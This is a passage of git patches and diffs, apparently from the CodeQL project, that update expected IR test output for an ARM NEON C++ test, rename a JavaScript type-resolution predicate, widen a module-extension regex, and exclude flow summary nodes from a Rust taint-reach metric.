r6_7(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[__b] : -# 6| m6_8(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[__b] : &:r6_7 -# 8| r8_1(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[#return] : -# 8| r8_2(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[__a] : -# 8| r8_3(__attribute((neon_vector_type(8))) unsigned char) = Load[__a] : &:r8_2, m6_6 -# 8| r8_4(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[__b] : -# 8| r8_5(__attribute((neon_vector_type(8))) unsigned char) = Load[__b] : &:r8_4, m6_8 -# 8| r8_6(__attribute((neon_vector_type(8))) unsigned char) = Add : r8_3, r8_5 -# 8| m8_7(__attribute((neon_vector_type(8))) unsigned char) = Store[#return] : &:r8_1, r8_6 +# 6| r6_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : +# 6| m6_6(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[a] : &:r6_5 +# 6| r6_7(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] : +# 6| m6_8(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[b] : &:r6_7 +# 7| r7_1(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[#return] : +# 7| r7_2(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : +# 7| r7_3(__attribute((neon_vector_type(8))) unsigned char) = Load[a] : &:r7_2, m6_6 +# 7| r7_4(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] : +# 7| r7_5(__attribute((neon_vector_type(8))) unsigned char) = Load[b] : &:r7_4, m6_8 +# 7| r7_6(__attribute((neon_vector_type(8))) unsigned char) = Add : r7_3, r7_5 +# 7| m7_7(__attribute((neon_vector_type(8))) unsigned char) = Store[#return] : &:r7_1, r7_6 # 6| r6_9(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[#return] : -# 6| v6_10(void) = ReturnValue : &:r6_9, m8_7 +# 6| v6_10(void) = ReturnValue : &:r6_9, m7_7 # 6| v6_11(void) = AliasedUse : m6_3 # 6| v6_12(void) = ExitFunction : -# 15| uint16x8_t vaddl_u8(uint8x8_t, uint8x8_t) -# 15| Block 0 -# 15| v15_1(void) = EnterFunction : -# 15| m15_2(unknown) = AliasedDefinition : -# 15| m15_3(unknown) = InitializeNonLocal : -# 15| m15_4(unknown) = Chi : total:m15_2, partial:m15_3 -# 15| r15_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[__a] : -# 15| m15_6(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[__a] : &:r15_5 -# 15| r15_7(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[__b] : -# 15| m15_8(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[__b] : &:r15_7 -# 17| r17_1(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] : -# 17| r17_2(glval) = FunctionAddress[__builtin_aarch64_uaddlv8qi_uuu] : -# 17| r17_3(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[__a] : -# 17| r17_4(__attribute((neon_vector_type(8))) unsigned char) = Load[__a] : &:r17_3, m15_6 -# 17| r17_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[__b] : -# 17| r17_6(__attribute((neon_vector_type(8))) unsigned char) = Load[__b] : &:r17_5, m15_8 -# 17| r17_7(__attribute((neon_vector_type(8))) unsigned short) = Call[__builtin_aarch64_uaddlv8qi_uuu] : func:r17_2, 0:r17_4, 1:r17_6 -# 17| m17_8(unknown) = ^CallSideEffect : ~m15_4 -# 17| m17_9(unknown) = Chi : total:m15_4, partial:m17_8 -# 17| m17_10(__attribute((neon_vector_type(8))) unsigned short) = Store[#return] : &:r17_1, r17_7 -# 15| r15_9(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] : -# 15| v15_10(void) = ReturnValue : &:r15_9, m17_10 -# 15| v15_11(void) = AliasedUse : ~m17_9 -# 15| v15_12(void) = ExitFunction : +# 14| uint16x8_t vaddl_u8(uint8x8_t, uint8x8_t) +# 14| Block 0 +# 14| v14_1(void) = EnterFunction : +# 14| m14_2(unknown) = AliasedDefinition : +# 14| m14_3(unknown) = InitializeNonLocal : +# 14| m14_4(unknown) = Chi : total:m14_2, partial:m14_3 +# 14| r14_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : +# 14| m14_6(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[a] : &:r14_5 +# 14| r14_7(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] : +# 14| m14_8(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[b] : &:r14_7 +# 15| r15_1(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] : +# 15| r15_2(glval) = FunctionAddress[__builtin_aarch64_uaddlv8qi_uuu] : +# 15| r15_3(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : +# 15| r15_4(__attribute((neon_vector_type(8))) unsigned char) = Load[a] : &:r15_3, m14_6 +# 15| r15_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] : +# 15| r15_6(__attribute((neon_vector_type(8))) unsigned char) = Load[b] : &:r15_5, m14_8 +# 15| r15_7(__attribute((neon_vector_type(8))) unsigned short) = Call[__builtin_aarch64_uaddlv8qi_uuu] : func:r15_2, 0:r15_4, 1:r15_6 +# 15| m15_8(unknown) = ^CallSideEffect : ~m14_4 +# 15| m15_9(unknown) = Chi : total:m14_4, partial:m15_8 +# 15| m15_10(__attribute((neon_vector_type(8))) unsigned short) = Store[#return] : &:r15_1, r15_7 +# 14| r14_9(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] : +# 14| v14_10(void) = ReturnValue : &:r14_9, m15_10 +# 14| v14_11(void) = AliasedUse : ~m15_9 +# 14| v14_12(void) = ExitFunction : -# 20| uint16x8_t arm_add(uint8x8_t, uint8x8_t) -# 20| Block 0 -# 20| v20_1(void) = EnterFunction : -# 20| m20_2(unknown) = AliasedDefinition : -# 20| m20_3(unknown) = InitializeNonLocal : -# 20| m20_4(unknown) = Chi : total:m20_2, partial:m20_3 -# 20| r20_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : -# 20| m20_6(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[a] : &:r20_5 -# 20| r20_7(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] : -# 20| m20_8(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[b] : &:r20_7 -# 21| r21_1(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[c] : -# 21| r21_2(glval) = FunctionAddress[vadd_u8] : -# 21| r21_3(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : -# 21| r21_4(__attribute((neon_vector_type(8))) unsigned char) = Load[a] : &:r21_3, m20_6 -# 21| r21_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] : -# 21| r21_6(__attribute((neon_vector_type(8))) unsigned char) = Load[b] : &:r21_5, m20_8 -# 21| r21_7(__attribute((neon_vector_type(8))) unsigned char) = Call[vadd_u8] : func:r21_2, 0:r21_4, 1:r21_6 -# 21| m21_8(unknown) = ^CallSideEffect : ~m20_4 -# 21| m21_9(unknown) = Chi : total:m20_4, partial:m21_8 -# 21| m21_10(__attribute((neon_vector_type(8))) unsigned char) = Store[c] : &:r21_1, r21_7 -# 22| r22_1(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] : -# 22| r22_2(glval) = FunctionAddress[vaddl_u8] : -# 22| r22_3(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : -# 22| r22_4(__attribute((neon_vector_type(8))) unsigned char) = Load[a] : &:r22_3, m20_6 -# 22| r22_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[c] : -# 22| r22_6(__attribute((neon_vector_type(8))) unsigned char) = Load[c] : &:r22_5, m21_10 -# 22| r22_7(__attribute((neon_vector_type(8))) unsigned short) = Call[vaddl_u8] : func:r22_2, 0:r22_4, 1:r22_6 -# 22| m22_8(unknown) = ^CallSideEffect : ~m21_9 -# 22| m22_9(unknown) = Chi : total:m21_9, partial:m22_8 -# 22| m22_10(__attribute((neon_vector_type(8))) unsigned short) = Store[#return] : &:r22_1, r22_7 -# 20| r20_9(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] : -# 20| v20_10(void) = ReturnValue : &:r20_9, m22_10 -# 20| v20_11(void) = AliasedUse : ~m22_9 -# 20| v20_12(void) = ExitFunction : +# 18| uint16x8_t arm_add(uint8x8_t, uint8x8_t) +# 18| Block 0 +# 18| v18_1(void) = EnterFunction : +# 18| m18_2(unknown) = AliasedDefinition : +# 18| m18_3(unknown) = InitializeNonLocal : +# 18| m18_4(unknown) = Chi : total:m18_2, partial:m18_3 +# 18| r18_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : +# 18| m18_6(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[a] : &:r18_5 +# 18| r18_7(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] : +# 18| m18_8(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[b] : &:r18_7 +# 19| r19_1(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[c] : +# 19| r19_2(glval) = FunctionAddress[vadd_u8] : +# 19| r19_3(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : +# 19| r19_4(__attribute((neon_vector_type(8))) unsigned char) = Load[a] : &:r19_3, m18_6 +# 19| r19_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] : +# 19| r19_6(__attribute((neon_vector_type(8))) unsigned char) = Load[b] : &:r19_5, m18_8 +# 19| r19_7(__attribute((neon_vector_type(8))) unsigned char) = Call[vadd_u8] : func:r19_2, 0:r19_4, 1:r19_6 +# 19| m19_8(unknown) = ^CallSideEffect : ~m18_4 +# 19| m19_9(unknown) = Chi : total:m18_4, partial:m19_8 +# 19| m19_10(__attribute((neon_vector_type(8))) unsigned char) = Store[c] : &:r19_1, r19_7 +# 20| r20_1(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] : +# 20| r20_2(glval) = FunctionAddress[vaddl_u8] : +# 20| r20_3(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : +# 20| r20_4(__attribute((neon_vector_type(8))) unsigned char) = Load[a] : &:r20_3, m18_6 +# 20| r20_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[c] : +# 20| r20_6(__attribute((neon_vector_type(8))) unsigned char) = Load[c] : &:r20_5, m19_10 +# 20| r20_7(__attribute((neon_vector_type(8))) unsigned short) = Call[vaddl_u8] : func:r20_2, 0:r20_4, 1:r20_6 +# 20| m20_8(unknown) = ^CallSideEffect : ~m19_9 +# 20| m20_9(unknown) = Chi : total:m19_9, partial:m20_8 +# 20| m20_10(__attribute((neon_vector_type(8))) unsigned short) = Store[#return] : &:r20_1, r20_7 +# 18| r18_9(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] : +# 18| v18_10(void) = ReturnValue : &:r18_9, m20_10 +# 18| v18_11(void) = AliasedUse : ~m20_9 +# 18| v18_12(void) = ExitFunction : bad_asts.cpp: # 9| int Bad::S::MemberFunction(int) diff --git a/cpp/ql/test/library-tests/ir/ir/arm.cpp b/cpp/ql/test/library-tests/ir/ir/arm.cpp index c10558b24fa..36e20715bc5 100644 --- a/cpp/ql/test/library-tests/ir/ir/arm.cpp +++ b/cpp/ql/test/library-tests/ir/ir/arm.cpp @@ -3,21 +3,19 @@ typedef __Uint8x8_t uint8x8_t; typedef __Uint16x8_t uint16x8_t; -uint8x8_t vadd_u8 (uint8x8_t __a, uint8x8_t __b) -{ - return __a + __b; +uint8x8_t vadd_u8(uint8x8_t a, uint8x8_t b) { + return a + b; } // Workaround: the frontend only exposes this when the arm_neon.h // header is encountered. uint16x8_t __builtin_aarch64_uaddlv8qi_uuu(uint8x8_t, uint8x8_t); -uint16x8_t vaddl_u8 (uint8x8_t __a, uint8x8_t __b) -{ - return __builtin_aarch64_uaddlv8qi_uuu (__a, __b); +uint16x8_t vaddl_u8(uint8x8_t a, uint8x8_t b) { + return __builtin_aarch64_uaddlv8qi_uuu (a, b); } uint16x8_t arm_add(uint8x8_t a, uint8x8_t b) { - uint8x8_t c = vadd_u8(a, b); - return vaddl_u8(a, c); + uint8x8_t c = vadd_u8(a, b); + return vaddl_u8(a, c); } diff --git a/cpp/ql/test/library-tests/ir/ir/raw_ir.expected b/cpp/ql/test/library-tests/ir/ir/raw_ir.expected index 33f680e20fe..978d05d4b16 100644 --- a/cpp/ql/test/library-tests/ir/ir/raw_ir.expected +++ b/cpp/ql/test/library-tests/ir/ir/raw_ir.expected @@ -4,76 +4,76 @@ arm.cpp: # 6| v6_1(void) = EnterFunction : # 6| mu6_2(unknown) = AliasedDefinition : # 6| mu6_3(unknown) = InitializeNonLocal : -# 6| r6_4(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[__a] : -# 6| mu6_5(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[__a] : &:r6_4 -# 6| r6_6(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[__b] : -# 6| mu6_7(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[__b] : &:r6_6 -# 8| r8_1(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[#return] : -# 8| r8_2(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[__a] : -# 8| r8_3(__attribute((neon_vector_type(8))) unsigned char) = Load[__a] : &:r8_2, ~m? -# 8| r8_4(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[__b] : -# 8| r8_5(__attribute((neon_vector_type(8))) unsigned char) = Load[__b] : &:r8_4, ~m? -# 8| r8_6(__attribute((neon_vector_type(8))) unsigned char) = Add : r8_3, r8_5 -# 8| mu8_7(__attribute((neon_vector_type(8))) unsigned char) = Store[#return] : &:r8_1, r8_6 +# 6| r6_4(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : +# 6| mu6_5(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[a] : &:r6_4 +# 6| r6_6(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] : +# 6| mu6_7(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[b] : &:r6_6 +# 7| r7_1(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[#return] : +# 7| r7_2(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : +# 7| r7_3(__attribute((neon_vector_type(8))) unsigned char) = Load[a] : &:r7_2, ~m? +# 7| r7_4(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] : +# 7| r7_5(__attribute((neon_vector_type(8))) unsigned char) = Load[b] : &:r7_4, ~m? +# 7| r7_6(__attribute((neon_vector_type(8))) unsigned char) = Add : r7_3, r7_5 +# 7| mu7_7(__attribute((neon_vector_type(8))) unsigned char) = Store[#return] : &:r7_1, r7_6 # 6| r6_8(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[#return] : # 6| v6_9(void) = ReturnValue : &:r6_8, ~m? # 6| v6_10(void) = AliasedUse : ~m? # 6| v6_11(void) = ExitFunction : -# 15| uint16x8_t vaddl_u8(uint8x8_t, uint8x8_t) -# 15| Block 0 -# 15| v15_1(void) = EnterFunction : -# 15| mu15_2(unknown) = AliasedDefinition : -# 15| mu15_3(unknown) = InitializeNonLocal : -# 15| r15_4(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[__a] : -# 15| mu15_5(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[__a] : &:r15_4 -# 15| r15_6(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[__b] : -# 15| mu15_7(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[__b] : &:r15_6 -# 17| r17_1(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] : -# 17| r17_2(glval) = FunctionAddress[__builtin_aarch64_uaddlv8qi_uuu] : -# 17| r17_3(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[__a] : -# 17| r17_4(__attribute((neon_vector_type(8))) unsigned char) = Load[__a] : &:r17_3, ~m? -# 17| r17_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[__b] : -# 17| r17_6(__attribute((neon_vector_type(8))) unsigned char) = Load[__b] : &:r17_5, ~m? -# 17| r17_7(__attribute((neon_vector_type(8))) unsigned short) = Call[__builtin_aarch64_uaddlv8qi_uuu] : func:r17_2, 0:r17_4, 1:r17_6 -# 17| mu17_8(unknown) = ^CallSideEffect : ~m? -# 17| mu17_9(__attribute((neon_vector_type(8))) unsigned short) = Store[#return] : &:r17_1, r17_7 -# 15| r15_8(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] : -# 15| v15_9(void) = ReturnValue : &:r15_8, ~m? -# 15| v15_10(void) = AliasedUse : ~m? -# 15| v15_11(void) = ExitFunction : +# 14| uint16x8_t vaddl_u8(uint8x8_t, uint8x8_t) +# 14| Block 0 +# 14| v14_1(void) = EnterFunction : +# 14| mu14_2(unknown) = AliasedDefinition : +# 14| mu14_3(unknown) = InitializeNonLocal : +# 14| r14_4(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : +# 14| mu14_5(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[a] : &:r14_4 +# 14| r14_6(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] : +# 14| mu14_7(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[b] : &:r14_6 +# 15| r15_1(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] : +# 15| r15_2(glval) = FunctionAddress[__builtin_aarch64_uaddlv8qi_uuu] : +# 15| r15_3(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : +# 15| r15_4(__attribute((neon_vector_type(8))) unsigned char) = Load[a] : &:r15_3, ~m? +# 15| r15_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] : +# 15| r15_6(__attribute((neon_vector_type(8))) unsigned char) = Load[b] : &:r15_5, ~m? +# 15| r15_7(__attribute((neon_vector_type(8))) unsigned short) = Call[__builtin_aarch64_uaddlv8qi_uuu] : func:r15_2, 0:r15_4, 1:r15_6 +# 15| mu15_8(unknown) = ^CallSideEffect : ~m? +# 15| mu15_9(__attribute((neon_vector_type(8))) unsigned short) = Store[#return] : &:r15_1, r15_7 +# 14| r14_8(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] : +# 14| v14_9(void) = ReturnValue : &:r14_8, ~m? +# 14| v14_10(void) = AliasedUse : ~m? +# 14| v14_11(void) = ExitFunction : -# 20| uint16x8_t arm_add(uint8x8_t, uint8x8_t) -# 20| Block 0 -# 20| v20_1(void) = EnterFunction : -# 20| mu20_2(unknown) = AliasedDefinition : -# 20| mu20_3(unknown) = InitializeNonLocal : -# 20| r20_4(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : -# 20| mu20_5(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[a] : &:r20_4 -# 20| r20_6(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] : -# 20| mu20_7(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[b] : &:r20_6 -# 21| r21_1(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[c] : -# 21| r21_2(glval) = FunctionAddress[vadd_u8] : -# 21| r21_3(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : -# 21| r21_4(__attribute((neon_vector_type(8))) unsigned char) = Load[a] : &:r21_3, ~m? -# 21| r21_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] : -# 21| r21_6(__attribute((neon_vector_type(8))) unsigned char) = Load[b] : &:r21_5, ~m? -# 21| r21_7(__attribute((neon_vector_type(8))) unsigned char) = Call[vadd_u8] : func:r21_2, 0:r21_4, 1:r21_6 -# 21| mu21_8(unknown) = ^CallSideEffect : ~m? -# 21| mu21_9(__attribute((neon_vector_type(8))) unsigned char) = Store[c] : &:r21_1, r21_7 -# 22| r22_1(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] : -# 22| r22_2(glval) = FunctionAddress[vaddl_u8] : -# 22| r22_3(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : -# 22| r22_4(__attribute((neon_vector_type(8))) unsigned char) = Load[a] : &:r22_3, ~m? -# 22| r22_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[c] : -# 22| r22_6(__attribute((neon_vector_type(8))) unsigned char) = Load[c] : &:r22_5, ~m? -# 22| r22_7(__attribute((neon_vector_type(8))) unsigned short) = Call[vaddl_u8] : func:r22_2, 0:r22_4, 1:r22_6 -# 22| mu22_8(unknown) = ^CallSideEffect : ~m? -# 22| mu22_9(__attribute((neon_vector_type(8))) unsigned short) = Store[#return] : &:r22_1, r22_7 -# 20| r20_8(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] : -# 20| v20_9(void) = ReturnValue : &:r20_8, ~m? -# 20| v20_10(void) = AliasedUse : ~m? -# 20| v20_11(void) = ExitFunction : +# 18| uint16x8_t arm_add(uint8x8_t, uint8x8_t) +# 18| Block 0 +# 18| v18_1(void) = EnterFunction : +# 18| mu18_2(unknown) = AliasedDefinition : +# 18| mu18_3(unknown) = InitializeNonLocal : +# 18| r18_4(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : +# 18| mu18_5(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[a] : &:r18_4 +# 18| r18_6(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] : +# 18| mu18_7(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[b] : &:r18_6 +# 19| r19_1(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[c] : +# 19| r19_2(glval) = FunctionAddress[vadd_u8] : +# 19| r19_3(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : +# 19| r19_4(__attribute((neon_vector_type(8))) unsigned char) = Load[a] : &:r19_3, ~m? +# 19| r19_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] : +# 19| r19_6(__attribute((neon_vector_type(8))) unsigned char) = Load[b] : &:r19_5, ~m? +# 19| r19_7(__attribute((neon_vector_type(8))) unsigned char) = Call[vadd_u8] : func:r19_2, 0:r19_4, 1:r19_6 +# 19| mu19_8(unknown) = ^CallSideEffect : ~m? +# 19| mu19_9(__attribute((neon_vector_type(8))) unsigned char) = Store[c] : &:r19_1, r19_7 +# 20| r20_1(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] : +# 20| r20_2(glval) = FunctionAddress[vaddl_u8] : +# 20| r20_3(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : +# 20| r20_4(__attribute((neon_vector_type(8))) unsigned char) = Load[a] : &:r20_3, ~m? +# 20| r20_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[c] : +# 20| r20_6(__attribute((neon_vector_type(8))) unsigned char) = Load[c] : &:r20_5, ~m? +# 20| r20_7(__attribute((neon_vector_type(8))) unsigned short) = Call[vaddl_u8] : func:r20_2, 0:r20_4, 1:r20_6 +# 20| mu20_8(unknown) = ^CallSideEffect : ~m? +# 20| mu20_9(__attribute((neon_vector_type(8))) unsigned short) = Store[#return] : &:r20_1, r20_7 +# 18| r18_8(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] : +# 18| v18_9(void) = ReturnValue : &:r18_8, ~m? +# 18| v18_10(void) = AliasedUse : ~m? +# 18| v18_11(void) = ExitFunction : bad_asts.cpp: # 9| int Bad::S::MemberFunction(int) From a6488cbad99a9a590c981fe5541a36ca29f21ddb Mon Sep 17 00:00:00 2001 From: Asger F Date: Tue, 10 Jun 2025 16:06:42 +0200 Subject: [PATCH 230/271] Update javascript/ql/lib/semmle/javascript/internal/NameResolution.qll Co-authored-by: Erik Krogh Kristensen --- .../ql/lib/semmle/javascript/internal/NameResolution.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/internal/NameResolution.qll b/javascript/ql/lib/semmle/javascript/internal/NameResolution.qll index 8a9a1c71edc..394eb34e8d3 100644 --- a/javascript/ql/lib/semmle/javascript/internal/NameResolution.qll +++ b/javascript/ql/lib/semmle/javascript/internal/NameResolution.qll @@ -312,12 +312,12 @@ module NameResolution { */ private predicate storeToVariable(Expr value, string prop, LocalVariableLike target) { exists(AssignExpr assign | - // exports.name = value + // target.name = value assign.getLhs().(PropAccess).accesses(target.getAnAccess(), prop) and value = assign.getRhs() ) or - // exports = { name: value } + // target = { name: value } value = target.getAnAssignedExpr().(ObjectExpr).getPropertyByName(prop).getInit() } From 18f9133715a59f4c92e1fad974d3610257e9de68 Mon Sep 17 00:00:00 2001 From: Asger F Date: Tue, 10 Jun 2025 16:14:05 +0200 Subject: [PATCH 231/271] JS: Rename and clarify comment for trackFunctionType --- .../javascript/internal/TypeResolution.qll | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll b/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll index 6a99d891739..ddf5757a38c 100644 --- a/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll +++ b/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll @@ -8,10 +8,16 @@ module TypeResolution { predicate trackType = TypeFlow::TrackNode::track/1; - Node trackFunctionType(Function fun) { + /** + * Gets a node that has `fun` as an underlying type. + * + * We track through underlying types as an approximate way to handle calls to a type + * that is a union/intersection involving functions. + */ + Node trackUnderlyingFunctionType(Function fun) { result = fun or - exists(Node mid | mid = trackFunctionType(fun) | + exists(Node mid | mid = trackUnderlyingFunctionType(fun) | TypeFlow::step(mid, result) or UnderlyingTypes::underlyingTypeStep(mid, result) @@ -138,7 +144,7 @@ module TypeResolution { or valueHasType(call.getCallee(), trackFunctionValue(target)) or - valueHasType(call.getCallee(), trackFunctionType(target)) and + valueHasType(call.getCallee(), trackUnderlyingFunctionType(target)) and ( call instanceof NewExpr and target = any(ConstructorTypeExpr t).getFunction() @@ -165,7 +171,7 @@ module TypeResolution { or not exists(func.getReturnTypeAnnotation()) and exists(Function functionType | - contextualType(func, trackFunctionType(functionType)) and + contextualType(func, trackUnderlyingFunctionType(functionType)) and returnType = functionType.getReturnTypeAnnotation() ) } @@ -270,7 +276,7 @@ module TypeResolution { or // Contextual typing for parameters exists(Function lambda, Function functionType, int i | - contextualType(lambda, trackFunctionType(functionType)) + contextualType(lambda, trackUnderlyingFunctionType(functionType)) or exists(InterfaceDefinition interface | contextualType(lambda, trackType(interface)) and From 72cc439125a18992715818346743225ccc8035b6 Mon Sep 17 00:00:00 2001 From: Asger F Date: Tue, 10 Jun 2025 17:32:42 +0200 Subject: [PATCH 232/271] JS: Normalize a few more extensions --- javascript/ql/lib/semmle/javascript/internal/NameResolution.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/lib/semmle/javascript/internal/NameResolution.qll b/javascript/ql/lib/semmle/javascript/internal/NameResolution.qll index 394eb34e8d3..0aa76b38e7c 100644 --- a/javascript/ql/lib/semmle/javascript/internal/NameResolution.qll +++ b/javascript/ql/lib/semmle/javascript/internal/NameResolution.qll @@ -392,7 +392,7 @@ module NameResolution { private string normalizeModuleName(string name) { result = name.regexpReplaceAll("^node:", "") - .regexpReplaceAll("\\.[jt]sx?$", "") + .regexpReplaceAll("\\.[cm]?[jt]sx?$", "") .regexpReplaceAll("/(index)?$", "") } From 50bf246add3b051e63413f86bb54a2ccff8aba39 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Tue, 10 Jun 2025 17:06:08 +0100 Subject: [PATCH 233/271] Rust: Adjust the taint reach metric for better stability. --- rust/ql/src/queries/summary/TaintReach.qll | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/rust/ql/src/queries/summary/TaintReach.qll b/rust/ql/src/queries/summary/TaintReach.qll index 0f00fe6f7c6..1c2f2f35621 100644 --- a/rust/ql/src/queries/summary/TaintReach.qll +++ b/rust/ql/src/queries/summary/TaintReach.qll @@ -7,6 +7,7 @@ import rust private import codeql.rust.Concepts private import codeql.rust.dataflow.DataFlow private import codeql.rust.dataflow.TaintTracking +private import codeql.rust.dataflow.internal.Node /** * A taint configuration for taint reach (flow to any node from any modeled source). @@ -21,11 +22,17 @@ private module TaintReachFlow = TaintTracking::Global; /** * Gets the total number of data flow nodes that taint reaches (from any source). + * + * We don't include flow summary nodes, as their number is unstable (varies when models + * are added). */ -int getTaintedNodesCount() { result = count(DataFlow::Node n | TaintReachFlow::flowTo(n)) } +int getTaintedNodesCount() { result = count(DataFlow::Node n | TaintReachFlow::flowTo(n) and not n instanceof FlowSummaryNode) } /** * Gets the proportion of data flow nodes that taint reaches (from any source), * expressed as a count per million nodes. + * + * We 